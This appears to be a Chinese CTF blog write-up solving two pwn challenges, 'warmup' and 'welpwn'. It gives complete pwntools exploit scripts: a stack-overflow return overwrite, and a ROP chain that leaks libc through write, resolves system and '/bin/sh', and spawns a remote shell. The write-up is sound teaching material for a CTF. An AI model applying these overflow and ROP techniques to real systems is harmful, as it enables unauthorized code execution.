攻防世界pwn(warmup&welpwn)

更多内容关注博客新址

If you don’t go into the water, you can’t swim in your life

文中所用到的程序文件:bin file

warmup

# -*- coding: cp936 -*-
from pwn import *

# def get_length():
#   i = 0
#   while True:
#       try:
#           p = remote('101.200.240.241',7000)
#           p.recvuntil('biu:')
#           func = int(p.recv(8),16)
#           log.success("func=%#x",func)
#           payload = 'A'*64 + '\x00' + 'B'*i + p64(func)
#           p.sendline(payload)
#           p.recv()
#           try:
#               output = p.recv()
#               return i
#           except EOFError:
#               i += 1
#       except:
#           i += 1
#           p.close()

# length = get_length()
length = 7

p = remote('124.126.19.106',39729)
print p.recv()
print p.recv()
payload = 'A'*64 + '\x00'+ 'B'*7 + p64(0x40060d)
p.sendline(payload)
print p.recv()

welpwn

main函数中的read读入很长的内容,但是没办法造成栈溢出。只能把关注点放到函数echo

int __fastcall echo(__int64 a1)
{
  char s2[16]; // [rsp+10h] [rbp-10h]

  for ( i = 0; *(_BYTE *)(i + a1); ++i )
    s2[i] = *(_BYTE *)(i + a1);
  s2[i] = 0;
  if ( !strcmp("ROIS", s2) )
  {
    printf("RCTF{Welcome}", s2);
    puts(" is not flag");
  }
  return printf("%s", s2);
}

可以发现这个函数实际上就是把之前read获得的输入复制到栈上的数组s2中,很容易发现溢出点就在这个地方。

但是还有一个问题,这个复制过程有0截断,也就是说当我们写入一连串地址时,并不能够将所有地址都成功复制到s2中,而64位的程序在构造ROP链时无论如何都会有0x00。
不过幸运的是echo的函数栈帧很小:

.text:000000000040071D                 push    rbp
.text:000000000040071E                 mov     rbp, rsp
.text:0000000000400721                 sub     rsp, 20h
.....
.text:00000000004007CB                 leave
.text:00000000004007CC                 retn

也就是说我们可以通过简单的pop填充,是rsp指向我们在输入时布置在main的栈帧中的地址,进而劫持RIP到指定函数完成libc泄露和get shell

from pwn import *
from LibcSearcher import *
context(arch='amd64',os='linux',log_level='DEBUG')

# p = process('./welpwn')
p = remote('124.126.19.106',59629)
elf = ELF('./welpwn',checksec=False)
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
write_plt = elf.plt['write']
write_got = elf.got['write']
main = elf.sym['main']
pop_rdi = 0x00000000004008a3 # pop rdi ; ret
pop4 = 0x000000000040089C
# we could find it just execute pop xxx 4 times and it will arrive the location we put on stack frame of main by debug
gadgets1 = 0x000000000040089A
gadgets2 = 0x0000000000400880

# call write to leak libc by universe gadgets(get shell successfully both server and local)
payload = 0x18 * 'A'
payload += flat([
    pop4, gadgets1, 0, 1, write_got, 8, write_got, 1, gadgets2
    ])
payload += 'A'*56 + p64(main)
p.send(payload)
p.recvuntil("Welcome to RCTF\n")
write_addr = u64(p.recv(6).ljust(8,'\x00'))
log.success('write_addr = %#x',write_addr)
# pause()
libc = LibcSearcher('write',write_addr)
libc_base = write_addr - libc.dump('write')

'''
# get shell successfull locally
payload = (0x18)*'A'
payload += flat([pop4 ,pop_rdi,puts_got, puts_plt, main])
p.recvuntil("Welcome to RCTF")
p.send(payload)
# pause()
data = p.recvuntil("Welcome to RCTF\n",drop=True)
pust_addr = u64(data[-7:-1].ljust(8,'\x00'))
log.success('pust_addr = %#x',pust_addr)
# pause()

libc = LibcSearcher('puts',pust_addr)
libc_base = pust_addr - libc.dump('puts')
'''

system_addr = libc_base + libc.dump('system')
binsh = libc_base + libc.dump('str_bin_sh')
log.success('system_addr = %#x, binsh = %#x'%(system_addr,binsh))

payload = 'A'*(0x18)
payload += flat([pop4, pop_rdi, binsh, system_addr, main])
p.send(payload)
sleep(0.1)
p.interactive()
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值